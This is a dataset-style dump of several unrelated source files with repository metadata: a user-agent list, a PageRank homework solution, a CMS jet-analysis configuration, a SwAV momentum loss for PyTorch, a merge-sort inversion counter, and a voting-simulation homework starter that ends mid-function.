| false
| 1,016
|
py
|
useragents = [
'Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36',
'Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36',
'Mozilla/5.0 (Linux; Android 6.0.1; Nexus 6P Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.83 Mobile Safari/537.36',
'Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1',
'Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/69.0.3497.105 Mobile/15E148 Safari/605.1',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9'
]
|
[
"ar3x.k1m@gmail.com"
] |
ar3x.k1m@gmail.com
|
eab9d3e369a60f739c2103a285f2d038e0799e75
|
0887322a8372f3aef4e42568f5b38424e9b995ee
|
/problem3.py
|
ca57160fac5340b81cceac67f885d2956061c237
|
[] |
no_license
|
kjmj/page-rank
|
f44714f7205debb9e624772f8cda2c064f3e3b52
|
b4fc0f86c9651a5dbcb1a8b66f5fa685423e868d
|
refs/heads/master
| 2020-05-15T20:36:56.043709
| 2019-09-22T16:12:27
| 2019-09-22T16:12:27
| 182,485,289
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,396
|
py
|
import numpy as np
from problem2 import compute_P,random_walk
#-------------------------------------------------------------------------
'''
Problem 3: Solving sink-node problem in PageRank
In this problem, we implement the pagerank algorithm which can solve the sink node problem.
You could test the correctness of your code by typing `nosetests test3.py` in the terminal.
'''
#--------------------------
def compute_S(A):
'''
compute the transition matrix S from addjacency matrix A, which solves sink node problem by filling the all-zero columns in A.
S[j][i] represents the probability of moving from node i to node j.
If node i is a sink node, S[j][i] = 1/n.
Input:
A: adjacency matrix, a (n by n) numpy matrix of binary values. If there is a link from node i to node j, A[j][i] =1. Otherwise A[j][i]=0 if there is no link.
Output:
S: transition matrix, a (n by n) numpy matrix of float values. S[j][i] represents the probability of moving from node i to node j.
The values in each column of matrix S should sum to 1.
'''
#########################################
## INSERT YOUR CODE HERE
A = np.asarray(A).T
P = np.full_like(A, 0)
sink_row = np.full(A.shape[0], 1.0 / A.shape[0])
for i in range(A.shape[0]):
s = float(sum(A[i]))
if (A[i] == 0).all():
P[i] = sink_row
else:
P[i] = A[i] / s
S = np.asmatrix(P.T)
#########################################
return S
#--------------------------
def pagerank_v2(A):
'''
A simplified version of PageRank algorithm, which solves the sink node problem.
Given an adjacency matrix A, compute the pagerank score of all the nodes in the network.
Input:
A: adjacency matrix, a numpy matrix of binary values. If there is a link from node i to node j, A[j][i] =1. Otherwise A[j][i]=0 if there is no link.
Output:
x: the ranking scores, a numpy vector of float values, such as np.array([[.3], [.5], [.7]])
'''
# Initialize the score vector with all one values
num_nodes, _ = A.shape
x_0 = np.asmatrix(np.ones((num_nodes,1)))
# compute the transition matrix from adjacency matrix
S = compute_S(A)
# random walk
x, n_steps = random_walk(S,x_0)
return x
|
[
"kmorton15@gmail.com"
] |
kmorton15@gmail.com
|
4aff197c44a65dbff0b50a9d24af19cc201132ba
|
0bc777a57e39c466a9482af9a6eda698ab3c1437
|
/HeavyIonsAnalysis/JetAnalysis/python/jets/ak4CaloJetSequence_pp_mc_cff.py
|
3d3470d0177bf83434bd37e75dcd6fbc44571d7f
|
[] |
no_license
|
stahlleiton/cmssw
|
3c78d80b9372fdf2a37f424372504b23c9dc4f78
|
fcfda663dc8c315b505eb6bcc7e936401c01c4d1
|
refs/heads/EWQAnalysis2017_8030
| 2023-08-23T13:50:40.837198
| 2017-11-09T17:45:31
| 2017-11-09T17:45:31
| 45,795,305
| 0
| 3
| null | 2021-04-30T07:36:28
| 2015-11-08T19:28:54
|
C++
|
UTF-8
|
Python
| false
| false
| 14,633
|
py
|
import FWCore.ParameterSet.Config as cms
from HeavyIonsAnalysis.JetAnalysis.patHeavyIonSequences_cff import patJetGenJetMatch, patJetPartonMatch, patJetCorrFactors, patJets
from HeavyIonsAnalysis.JetAnalysis.inclusiveJetAnalyzer_cff import *
from HeavyIonsAnalysis.JetAnalysis.bTaggers_cff import *
from RecoJets.JetProducers.JetIDParams_cfi import *
from RecoJets.JetProducers.nJettinessAdder_cfi import Njettiness
ak4Calomatch = patJetGenJetMatch.clone(
src = cms.InputTag("ak4CaloJets"),
matched = cms.InputTag("ak4GenJets"),
resolveByMatchQuality = cms.bool(False),
maxDeltaR = 0.4
)
ak4CalomatchGroomed = patJetGenJetMatch.clone(
src = cms.InputTag("ak4GenJets"),
matched = cms.InputTag("ak4GenJets"),
resolveByMatchQuality = cms.bool(False),
maxDeltaR = 0.4
)
ak4Caloparton = patJetPartonMatch.clone(src = cms.InputTag("ak4CaloJets")
)
ak4Calocorr = patJetCorrFactors.clone(
useNPV = cms.bool(False),
useRho = cms.bool(False),
# primaryVertices = cms.InputTag("hiSelectedVertex"),
levels = cms.vstring('L2Relative','L3Absolute'),
src = cms.InputTag("ak4CaloJets"),
payload = "AK4Calo_offline"
)
ak4CaloJetID= cms.EDProducer('JetIDProducer', JetIDParams, src = cms.InputTag('ak4CaloJets'))
#ak4Caloclean = heavyIonCleanedGenJets.clone(src = cms.InputTag('ak4GenJets'))
ak4CalobTagger = bTaggers("ak4Calo",0.4)
#create objects locally since they dont load properly otherwise
#ak4Calomatch = ak4CalobTagger.match
ak4Caloparton = patJetPartonMatch.clone(src = cms.InputTag("ak4CaloJets"), matched = cms.InputTag("genParticles"))
ak4CaloPatJetFlavourAssociationLegacy = ak4CalobTagger.PatJetFlavourAssociationLegacy
ak4CaloPatJetPartons = ak4CalobTagger.PatJetPartons
ak4CaloJetTracksAssociatorAtVertex = ak4CalobTagger.JetTracksAssociatorAtVertex
ak4CaloJetTracksAssociatorAtVertex.tracks = cms.InputTag("highPurityTracks")
ak4CaloSimpleSecondaryVertexHighEffBJetTags = ak4CalobTagger.SimpleSecondaryVertexHighEffBJetTags
ak4CaloSimpleSecondaryVertexHighPurBJetTags = ak4CalobTagger.SimpleSecondaryVertexHighPurBJetTags
ak4CaloCombinedSecondaryVertexBJetTags = ak4CalobTagger.CombinedSecondaryVertexBJetTags
ak4CaloCombinedSecondaryVertexV2BJetTags = ak4CalobTagger.CombinedSecondaryVertexV2BJetTags
ak4CaloJetBProbabilityBJetTags = ak4CalobTagger.JetBProbabilityBJetTags
ak4CaloSoftPFMuonByPtBJetTags = ak4CalobTagger.SoftPFMuonByPtBJetTags
ak4CaloSoftPFMuonByIP3dBJetTags = ak4CalobTagger.SoftPFMuonByIP3dBJetTags
ak4CaloTrackCountingHighEffBJetTags = ak4CalobTagger.TrackCountingHighEffBJetTags
ak4CaloTrackCountingHighPurBJetTags = ak4CalobTagger.TrackCountingHighPurBJetTags
ak4CaloPatJetPartonAssociationLegacy = ak4CalobTagger.PatJetPartonAssociationLegacy
ak4CaloImpactParameterTagInfos = ak4CalobTagger.ImpactParameterTagInfos
ak4CaloImpactParameterTagInfos.primaryVertex = cms.InputTag("offlinePrimaryVertices")
ak4CaloJetProbabilityBJetTags = ak4CalobTagger.JetProbabilityBJetTags
ak4CaloSecondaryVertexTagInfos = ak4CalobTagger.SecondaryVertexTagInfos
ak4CaloSimpleSecondaryVertexHighEffBJetTags = ak4CalobTagger.SimpleSecondaryVertexHighEffBJetTags
ak4CaloSimpleSecondaryVertexHighPurBJetTags = ak4CalobTagger.SimpleSecondaryVertexHighPurBJetTags
ak4CaloCombinedSecondaryVertexBJetTags = ak4CalobTagger.CombinedSecondaryVertexBJetTags
ak4CaloCombinedSecondaryVertexV2BJetTags = ak4CalobTagger.CombinedSecondaryVertexV2BJetTags
ak4CaloSecondaryVertexNegativeTagInfos = ak4CalobTagger.SecondaryVertexNegativeTagInfos
ak4CaloNegativeSimpleSecondaryVertexHighEffBJetTags = ak4CalobTagger.NegativeSimpleSecondaryVertexHighEffBJetTags
ak4CaloNegativeSimpleSecondaryVertexHighPurBJetTags = ak4CalobTagger.NegativeSimpleSecondaryVertexHighPurBJetTags
ak4CaloNegativeCombinedSecondaryVertexBJetTags = ak4CalobTagger.NegativeCombinedSecondaryVertexBJetTags
ak4CaloPositiveCombinedSecondaryVertexBJetTags = ak4CalobTagger.PositiveCombinedSecondaryVertexBJetTags
ak4CaloNegativeCombinedSecondaryVertexV2BJetTags = ak4CalobTagger.NegativeCombinedSecondaryVertexV2BJetTags
ak4CaloPositiveCombinedSecondaryVertexV2BJetTags = ak4CalobTagger.PositiveCombinedSecondaryVertexV2BJetTags
ak4CaloSoftPFMuonsTagInfos = ak4CalobTagger.SoftPFMuonsTagInfos
ak4CaloSoftPFMuonsTagInfos.primaryVertex = cms.InputTag("offlinePrimaryVertices")
ak4CaloSoftPFMuonBJetTags = ak4CalobTagger.SoftPFMuonBJetTags
ak4CaloSoftPFMuonByIP3dBJetTags = ak4CalobTagger.SoftPFMuonByIP3dBJetTags
ak4CaloSoftPFMuonByPtBJetTags = ak4CalobTagger.SoftPFMuonByPtBJetTags
ak4CaloNegativeSoftPFMuonByPtBJetTags = ak4CalobTagger.NegativeSoftPFMuonByPtBJetTags
ak4CaloPositiveSoftPFMuonByPtBJetTags = ak4CalobTagger.PositiveSoftPFMuonByPtBJetTags
ak4CaloPatJetFlavourIdLegacy = cms.Sequence(ak4CaloPatJetPartonAssociationLegacy*ak4CaloPatJetFlavourAssociationLegacy)
#Not working with our PU sub, but keep it here for reference
#ak4CaloPatJetFlavourAssociation = ak4CalobTagger.PatJetFlavourAssociation
#ak4CaloPatJetFlavourId = cms.Sequence(ak4CaloPatJetPartons*ak4CaloPatJetFlavourAssociation)
ak4CaloJetBtaggingIP = cms.Sequence(ak4CaloImpactParameterTagInfos *
(ak4CaloTrackCountingHighEffBJetTags +
ak4CaloTrackCountingHighPurBJetTags +
ak4CaloJetProbabilityBJetTags +
ak4CaloJetBProbabilityBJetTags
)
)
ak4CaloJetBtaggingSV = cms.Sequence(ak4CaloImpactParameterTagInfos
*
ak4CaloSecondaryVertexTagInfos
* (ak4CaloSimpleSecondaryVertexHighEffBJetTags+
ak4CaloSimpleSecondaryVertexHighPurBJetTags+
ak4CaloCombinedSecondaryVertexBJetTags+
ak4CaloCombinedSecondaryVertexV2BJetTags
)
)
ak4CaloJetBtaggingNegSV = cms.Sequence(ak4CaloImpactParameterTagInfos
*
ak4CaloSecondaryVertexNegativeTagInfos
* (ak4CaloNegativeSimpleSecondaryVertexHighEffBJetTags+
ak4CaloNegativeSimpleSecondaryVertexHighPurBJetTags+
ak4CaloNegativeCombinedSecondaryVertexBJetTags+
ak4CaloPositiveCombinedSecondaryVertexBJetTags+
ak4CaloNegativeCombinedSecondaryVertexV2BJetTags+
ak4CaloPositiveCombinedSecondaryVertexV2BJetTags
)
)
ak4CaloJetBtaggingMu = cms.Sequence(ak4CaloSoftPFMuonsTagInfos * (ak4CaloSoftPFMuonBJetTags
+
ak4CaloSoftPFMuonByIP3dBJetTags
+
ak4CaloSoftPFMuonByPtBJetTags
+
ak4CaloNegativeSoftPFMuonByPtBJetTags
+
ak4CaloPositiveSoftPFMuonByPtBJetTags
)
)
ak4CaloJetBtagging = cms.Sequence(ak4CaloJetBtaggingIP
*ak4CaloJetBtaggingSV
*ak4CaloJetBtaggingNegSV
# *ak4CaloJetBtaggingMu
)
ak4CalopatJetsWithBtagging = patJets.clone(jetSource = cms.InputTag("ak4CaloJets"),
genJetMatch = cms.InputTag("ak4Calomatch"),
genPartonMatch = cms.InputTag("ak4Caloparton"),
jetCorrFactorsSource = cms.VInputTag(cms.InputTag("ak4Calocorr")),
JetPartonMapSource = cms.InputTag("ak4CaloPatJetFlavourAssociationLegacy"),
JetFlavourInfoSource = cms.InputTag("ak4CaloPatJetFlavourAssociation"),
trackAssociationSource = cms.InputTag("ak4CaloJetTracksAssociatorAtVertex"),
useLegacyJetMCFlavour = True,
discriminatorSources = cms.VInputTag(cms.InputTag("ak4CaloSimpleSecondaryVertexHighEffBJetTags"),
cms.InputTag("ak4CaloSimpleSecondaryVertexHighPurBJetTags"),
cms.InputTag("ak4CaloCombinedSecondaryVertexBJetTags"),
cms.InputTag("ak4CaloCombinedSecondaryVertexV2BJetTags"),
cms.InputTag("ak4CaloJetBProbabilityBJetTags"),
cms.InputTag("ak4CaloJetProbabilityBJetTags"),
#cms.InputTag("ak4CaloSoftPFMuonByPtBJetTags"),
#cms.InputTag("ak4CaloSoftPFMuonByIP3dBJetTags"),
cms.InputTag("ak4CaloTrackCountingHighEffBJetTags"),
cms.InputTag("ak4CaloTrackCountingHighPurBJetTags"),
),
jetIDMap = cms.InputTag("ak4CaloJetID"),
addBTagInfo = True,
addTagInfos = True,
addDiscriminators = True,
addAssociatedTracks = True,
addJetCharge = False,
addJetID = False,
getJetMCFlavour = True,
addGenPartonMatch = True,
addGenJetMatch = True,
embedGenJetMatch = True,
embedGenPartonMatch = True,
# embedCaloTowers = False,
# embedPFCandidates = True
)
ak4CaloNjettiness = Njettiness.clone(
src = cms.InputTag("ak4CaloJets"),
R0 = cms.double( 0.4)
)
ak4CalopatJetsWithBtagging.userData.userFloats.src += ['ak4CaloNjettiness:tau1','ak4CaloNjettiness:tau2','ak4CaloNjettiness:tau3']
ak4CaloJetAnalyzer = inclusiveJetAnalyzer.clone(jetTag = cms.InputTag("ak4CalopatJetsWithBtagging"),
genjetTag = 'ak4GenJets',
rParam = 0.4,
matchJets = cms.untracked.bool(False),
matchTag = 'patJetsWithBtagging',
pfCandidateLabel = cms.untracked.InputTag('particleFlow'),
trackTag = cms.InputTag("generalTracks"),
fillGenJets = True,
isMC = True,
doSubEvent = True,
useHepMC = cms.untracked.bool(False),
genParticles = cms.untracked.InputTag("genParticles"),
eventInfoTag = cms.InputTag("generator"),
doLifeTimeTagging = cms.untracked.bool(True),
doLifeTimeTaggingExtras = cms.untracked.bool(False),
bTagJetName = cms.untracked.string("ak4Calo"),
jetName = cms.untracked.string("ak4Calo"),
genPtMin = cms.untracked.double(5),
hltTrgResults = cms.untracked.string('TriggerResults::'+'HISIGNAL'),
doTower = cms.untracked.bool(False),
doSubJets = cms.untracked.bool(False),
doGenSubJets = cms.untracked.bool(False),
subjetGenTag = cms.untracked.InputTag("ak4GenJets"),
doGenTaus = cms.untracked.bool(True),
genTau1 = cms.InputTag("ak4GenNjettiness","tau1"),
genTau2 = cms.InputTag("ak4GenNjettiness","tau2"),
genTau3 = cms.InputTag("ak4GenNjettiness","tau3"),
doGenSym = cms.untracked.bool(False),
genSym = cms.InputTag("ak4GenJets","sym"),
genDroppedBranches = cms.InputTag("ak4GenJets","droppedBranches")
)
ak4CaloJetSequence_mc = cms.Sequence(
#ak4Caloclean
#*
ak4Calomatch
#*
#ak4CalomatchGroomed
*
ak4Caloparton
*
ak4Calocorr
*
#ak4CaloJetID
#*
ak4CaloPatJetFlavourIdLegacy
#*
#ak4CaloPatJetFlavourId # Use legacy algo till PU implemented
*
ak4CaloJetTracksAssociatorAtVertex
*
ak4CaloJetBtagging
*
ak4CaloNjettiness #No constituents for calo jets in pp. Must be removed for pp calo jets but I'm not sure how to do this transparently (Marta)
*
ak4CalopatJetsWithBtagging
*
ak4CaloJetAnalyzer
)
ak4CaloJetSequence_data = cms.Sequence(ak4Calocorr
*
#ak4CaloJetID
#*
ak4CaloJetTracksAssociatorAtVertex
*
ak4CaloJetBtagging
*
ak4CaloNjettiness
*
ak4CalopatJetsWithBtagging
*
ak4CaloJetAnalyzer
)
ak4CaloJetSequence_jec = cms.Sequence(ak4CaloJetSequence_mc)
ak4CaloJetSequence_mb = cms.Sequence(ak4CaloJetSequence_mc)
ak4CaloJetSequence = cms.Sequence(ak4CaloJetSequence_mc)
|
[
"marta.verweij@cern.ch"
] |
marta.verweij@cern.ch
|
e23ad6c7ccd3b670c1308bfac20a0c39ef516292
|
cfe18377cf7823658f38a9ffd832a2026004fc98
|
/swav/vissl/vissl/losses/swav_momentum_loss.py
|
f6a312a85ac71564fdf6fd3e27f16c19109f14d0
|
[
"CC-BY-NC-4.0",
"Apache-2.0"
] |
permissive
|
yhn112/DeDLOC
|
ec26d28a0bfcdb4fc33db730e87f669adc8568ee
|
0dc65b6eed8b3f842303fe00601335b3b9e2d7c5
|
refs/heads/main
| 2023-07-14T06:04:03.676662
| 2021-07-15T11:10:32
| 2021-07-15T11:10:32
| 379,111,549
| 0
| 0
|
Apache-2.0
| 2021-06-22T01:50:47
| 2021-06-22T01:50:46
| null |
UTF-8
|
Python
| false
| false
| 8,821
|
py
|
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
import logging
import math
import pprint
import numpy as np
import torch
from classy_vision.generic.distributed_util import (
all_reduce_sum,
get_cuda_device_index,
get_world_size,
is_distributed_training_run,
)
from classy_vision.losses import ClassyLoss, register_loss
from torch import nn
from vissl.config import AttrDict
@register_loss("swav_momentum_loss")
class SwAVMomentumLoss(ClassyLoss):
"""
This loss extends the SwAV loss proposed in paper https://arxiv.org/abs/2006.09882
by Caron et al. The loss combines the benefits of using the SwAV approach
with the momentum encoder as used in MoCo.
Config params:
momentum (float): for the momentum encoder
momentum_eval_mode_iter_start (int): from what iteration should the momentum encoder
network be in eval mode
embedding_dim (int): the projection head output dimension
temperature (float): temperature to be applied to the logits
use_double_precision (bool): whether to use double precision for the loss.
This could be a good idea to avoid NaNs.
normalize_last_layer (bool): whether to normalize the last layer
num_iters (int): number of sinkhorn algorithm iterations to make
epsilon (float): see the paper for details
num_crops (int): number of crops used
crops_for_assign (List[int]): what crops to use for assignment
num_prototypes (List[int]): number of prototypes
queue:
queue_length (int): number of features to store and used in the scores
start_iter (int): when to start using the queue for the scores
local_queue_length (int): length of queue per gpu
"""
def __init__(self, loss_config: AttrDict):
super().__init__()
self.loss_config = loss_config
self.momentum_encoder = None
self.checkpoint = None
self.momentum_scores = None
self.momentum_embeddings = None
self.is_distributed = is_distributed_training_run()
self.use_gpu = get_cuda_device_index() > -1
self.softmax = nn.Softmax(dim=1)
# keep track of number of iterations
self.register_buffer("num_iteration", torch.zeros(1, dtype=int))
# for queue
self.use_queue = False
if self.loss_config.queue.local_queue_length > 0:
self.initialize_queue()
@classmethod
def from_config(cls, loss_config: AttrDict):
"""
Instantiates SwAVMomentumLoss from configuration.
Args:
loss_config: configuration for the loss
Returns:
SwAVMomentumLoss instance.
"""
return cls(loss_config)
def initialize_queue(self):
for i, nmb_proto in enumerate(self.loss_config.num_prototypes):
init_queue = (
torch.rand(
len(self.loss_config.crops_for_assign),
self.loss_config.queue.local_queue_length,
nmb_proto,
)
* 2
- 1
)
self.register_buffer("local_queue" + str(i), init_queue)
stdv = 1.0 / math.sqrt(self.loss_config.embedding_dim / 3)
init_queue = (
torch.rand(
len(self.loss_config.crops_for_assign),
self.loss_config.queue.local_queue_length,
self.loss_config.embedding_dim,
)
.mul_(2 * stdv)
.add_(-stdv)
)
self.register_buffer("local_emb_queue", init_queue)
def load_state_dict(self, state_dict, *args, **kwargs):
"""
Restore the loss state given a checkpoint
Args:
state_dict (serialized via torch.save)
"""
# If the encoder has been allocated, use the normal pytorch restoration
if self.momentum_encoder is None:
self.checkpoint = state_dict
logging.info("Storing the checkpoint for later use")
else:
logging.info("Restoring checkpoint")
super().load_state_dict(state_dict, *args, **kwargs)
def forward(self, output: torch.Tensor, *args, **kwargs):
self.use_queue = (
self.loss_config.queue.local_queue_length > 0
and self.num_iteration >= self.loss_config.queue.start_iter
)
if self.use_queue:
if self.is_distributed:
self.compute_queue_scores(self.momentum_encoder.module.heads[0])
else:
self.compute_queue_scores(self.momentum_encoder.heads[0])
loss = 0
for head_id, proto_scores in enumerate(output[1:]):
bs = proto_scores.shape[0] // self.loss_config.num_crops
sub_loss = 0
for j, crop_id in enumerate(self.loss_config.crops_for_assign):
with torch.no_grad():
scores_this_crop = self.momentum_scores[head_id][
j * bs : (j + 1) * bs
]
if self.use_queue:
queue = getattr(self, "local_queue" + str(head_id))[j].clone()
scores_this_crop = torch.cat((scores_this_crop, queue))
assignments = torch.exp(
scores_this_crop / self.loss_config.epsilon
).t()
assignments = self.distributed_sinkhornknopp(assignments)[:bs]
idx_crop_pred = np.delete(
np.arange(self.loss_config.num_crops), crop_id
)
subsubloss = 0
for p in idx_crop_pred:
subsubloss -= torch.mean(
torch.sum(
assignments
* torch.log(
self.softmax(
proto_scores[bs * p : bs * (p + 1)]
/ self.loss_config.temperature
)
),
dim=1,
)
)
sub_loss += subsubloss / len(idx_crop_pred)
loss += sub_loss / len(self.loss_config.crops_for_assign)
loss /= len(output) - 1
self.num_iteration += 1
if self.use_queue:
self.update_emb_queue()
return loss
def __repr__(self):
repr_dict = {"name": self._get_name()}
return pprint.pformat(repr_dict, indent=2)
def distributed_sinkhornknopp(self, Q: torch.Tensor):
"""
Apply the distributed sinknorn optimization on the scores matrix to
find the assignments
"""
with torch.no_grad():
sum_Q = torch.sum(Q, dtype=Q.dtype)
all_reduce_sum(sum_Q)
Q /= sum_Q
k = Q.shape[0]
n = Q.shape[1]
N = get_world_size() * Q.shape[1]
# we follow the u, r, c and Q notations from
# https://arxiv.org/abs/1911.05371
r = torch.ones(k) / k
c = torch.ones(n) / N
if self.use_gpu:
r = r.cuda(non_blocking=True)
c = c.cuda(non_blocking=True)
curr_sum = torch.sum(Q, dim=1, dtype=Q.dtype)
all_reduce_sum(curr_sum)
for _ in range(self.loss_config.num_iters):
u = curr_sum
Q *= (r / u).unsqueeze(1)
Q *= (c / torch.sum(Q, dim=0, dtype=Q.dtype)).unsqueeze(0)
curr_sum = torch.sum(Q, dim=1, dtype=Q.dtype)
all_reduce_sum(curr_sum)
return (Q / torch.sum(Q, dim=0, keepdim=True, dtype=Q.dtype)).t().float()
def update_emb_queue(self):
with torch.no_grad():
bs = len(self.momentum_embeddings) // self.loss_config.num_crops
for i in range(len(self.loss_config.crops_for_assign)):
queue = self.local_emb_queue[i]
queue[bs:] = queue[:-bs].clone()
queue[:bs] = self.momentum_embeddings[i * bs : (i + 1) * bs]
self.local_emb_queue[i] = queue
def compute_queue_scores(self, head):
with torch.no_grad():
for i in range(len(self.loss_config.crops_for_assign)):
for h in range(head.nmb_heads):
scores = getattr(head, "prototypes" + str(h))(
self.local_emb_queue[i]
)
getattr(self, "local_queue" + str(h))[i] = scores
|
[
"mryabinin0@gmail.com"
] |
mryabinin0@gmail.com
|
d4df9bef24508e26e540cf3d871327fd096b27a4
|
22bf772978d5c669006b249d8fcb5a01cee52f23
|
/python/sorting/merge_sort_counting_inversions/merge_sort_counting_inversions.py
|
0f7d866d379cbc482d28b7e155861400b5e13551
|
[] |
no_license
|
arefrazavi/rf_problem_solving
|
1d5d049d797629820b22c8980448c0491848733b
|
3c62e19f9036ae993f7b1adb2af49a1d71ce66ad
|
refs/heads/master
| 2023-02-27T11:23:50.636324
| 2021-01-17T06:50:42
| 2021-01-17T06:50:42
| 312,188,066
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,886
|
py
|
# https://www.hackerrank.com/challenges/ctci-merge-sort/problem?h_l=interview&playlist_slugs%5B%5D=interview-preparation-kit&playlist_slugs%5B%5D=sorting
# !/bin/python3
import math
import os
import random
import re
import sys
def merge_and_count_inversion(arr1, arr2):
i = 0
j = 0
arr1_len = len(arr1)
arr2_len = len(arr2)
arr = []
inversion_count = 0
while i < arr1_len and j < arr2_len:
if arr1[i] > arr2[j]:
# when arr1[i] > arr2[j], arr1[j] is lower than every element after i in arr1 too,
# so it must be swapped with all of them.
inversion_count += arr1_len - i
arr.append(arr2[j])
j += 1
else:
arr.append(arr1[i])
i += 1
while i < arr1_len:
arr.append(arr1[i])
i += 1
while j < arr2_len:
arr.append(arr2[j])
j += 1
return (arr, inversion_count)
def merge_sort_count_inversions(arr):
arr_len = len(arr)
if arr_len == 1:
return arr, 0
mid_index = arr_len // 2
(arr1, inversion_count_1) = merge_sort_count_inversions(arr[0:mid_index])
(arr2, inversion_count_2) = merge_sort_count_inversions(arr[mid_index:])
(arr, inversion_count_3) = merge_and_count_inversion(arr1, arr2)
inversion_count = inversion_count_1 + inversion_count_2 + inversion_count_3
return (arr, inversion_count)
# Complete the countInversions function below.
def countInversions(arr):
(arr, inversion_count) = merge_sort_count_inversions(arr)
print(tuple(arr))
return inversion_count
file_path = 'input'
file = open(file_path, 'r')
file_content = file.read()
rows = file_content.split('\n')
t = int(rows.pop(0))
for t_itr in range(t):
n = int(rows.pop(0))
arr = list(map(int, rows.pop(0).rstrip().split()))
result = countInversions(arr)
print(result)
|
[
"aref@trip.me"
] |
aref@trip.me
|
c3a1876850617d72981face7e2d48a756f380120
|
0c5e2a643c34d7732159b22a76808bfa8b9f4169
|
/hw3/Q3/q3-starter.py
|
e5b82e9940ff4989385f7c99d8c702edd36066fc
|
[] |
no_license
|
cpgaffney1/cs224w
|
51d040ebeffe8e645bb4f1c3b7f15b25d1781417
|
67443f8f7f955d84711d8ed5cc9b45e77e0fbecf
|
refs/heads/master
| 2020-03-30T06:42:59.746401
| 2018-11-24T16:49:00
| 2018-11-24T16:49:00
| 150,883,744
| 5
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 12,621
|
py
|
###############################################################################
# CS 224W (Fall 2018) - HW2
# Starter code for Problem 3
###############################################################################
import snap
import matplotlib
matplotlib.use('agg')
import matplotlib.pyplot as plt
import numpy as np
# Setup
num_voters = 10000
decision_period = 10
def get_neighbors(graph, nodeId):
n = set([])
for i in range(graph.GetNI(nodeId).GetDeg()):
nid = graph.GetNI(nodeId).GetNbrNId(i)
n.add(nid)
return n
def read_graphs(path1, path2):
"""
:param - path1: path to edge list file for graph 1
:param - path2: path to edge list file for graph 2
return type: snap.PUNGraph, snap.PUNGraph
return: Graph 1, Graph 2
"""
###########################################################################
# TODO: Your code here!
###########################################################################
Graph1 = snap.LoadEdgeList(snap.PUNGraph, path1, 0, 1)
Graph2 = snap.LoadEdgeList(snap.PUNGraph, path2, 0, 1)
return Graph1, Graph2
def initial_voting_state(Graph):
"""
Function to initialize the voting preferences.
:param - Graph: snap.PUNGraph object representing an undirected graph
return type: Python dictionary
return: Dictionary mapping node IDs to initial voter preference
('A', 'B', or 'U')
Note: 'U' denotes undecided voting preference.
Example: Some random key-value pairs of the dict are
{0 : 'A', 24 : 'B', 118 : 'U'}.
"""
voter_prefs = {}
###########################################################################
# TODO: Your code here!
###########################################################################
for node in Graph.Nodes():
support = ''
if node.GetId() % 10 <= 3:
support = 'A'
elif node.GetId() % 10 >= 4 and node.GetId() % 10 <= 7:
support = 'B'
else:
support = 'U'
voter_prefs[node.GetId()] = support
assert(len(voter_prefs) == num_voters)
return voter_prefs
def iterate_voting(Graph, init_conf):
"""
Function to perform the 10-day decision process.
:param - Graph: snap.PUNGraph object representing an undirected graph
:param - init_conf: Dictionary object containing the initial voting
preferences (before any iteration of the decision
process)
return type: Python dictionary
return: Dictionary containing the voting preferences (mapping node IDs to
'A','B' or 'U') after the decision process.
Hint: Use global variables num_voters and decision_period to iterate.
"""
curr_conf = init_conf.copy()
curr_alternating_vote = 'A'
###########################################################################
# TODO: Your code here!
for i in range(decision_period):
for vid in range(num_voters):
if curr_conf[vid] == 'U':
neighbors = get_neighbors(Graph, vid)
acount = get_vote_count(neighbors, curr_conf, 'A')
bcount = get_vote_count(neighbors, curr_conf, 'B')
if acount > bcount:
curr_conf[vid] = 'A'
elif acount < bcount:
curr_conf[vid] = 'B'
else:
curr_conf[vid] = curr_alternating_vote
curr_alternating_vote = 'A' if curr_alternating_vote == 'B' else 'B'
###########################################################################
return curr_conf
def get_vote_count(nodeset, prefs, letter):
count = 0
for nid in nodeset:
if prefs[nid] == letter:
count += 1
return count
def sim_election(Graph):
"""
Function to simulate the election process, takes the Graph as input and
gives the final voting preferences (dictionary) as output.
"""
init_conf = initial_voting_state(Graph)
conf = iterate_voting(Graph, init_conf)
return conf
def winner(conf):
"""
Function to get the winner of election process.
:param - conf: Dictionary object mapping node ids to the voting preferences
return type: char, int
return: Return candidate ('A','B') followed by the number of votes by which
the candidate wins.
If there is a tie, return 'U', 0
"""
###########################################################################
# TODO: Your code here!
acount = get_vote_count(conf.keys(), conf, 'A')
bcount = get_vote_count(conf.keys(), conf, 'B')
if acount == bcount:
winner = 'U'
elif acount > bcount:
winner = 'A'
elif acount < bcount:
winner = 'B'
else:
assert(False)
margin = acount - bcount
###########################################################################
return winner, margin
def Q1():
print ("\nQ1:")
Gs = read_graphs('graph1.txt', 'graph2.txt') # List of graphs
# Simulate election process for both graphs to get final voting preference
final_confs = [sim_election(G) for G in Gs]
# Get the winner of the election, and the difference in votes for both
# graphs
res = [winner(conf) for conf in final_confs]
for i in xrange(2):
print "In graph %d, candidate %s wins by %d votes" % (
i+1, res[i][0], res[i][1]
)
def Q2sim(Graph, k):
"""
Function to simulate the effect of advertising.
:param - Graph: snap.PUNGraph object representing an undirected graph
k: amount to be spent on advertising
return type: int
return: The number of votes by which A wins (or loses), i.e. (number of
votes of A - number of votes of B)
Hint: Feel free to use initial_voting_state and iterate_voting functions.
"""
###########################################################################
# TODO: Your code here!
initial_prefs = initial_voting_state(Graph)
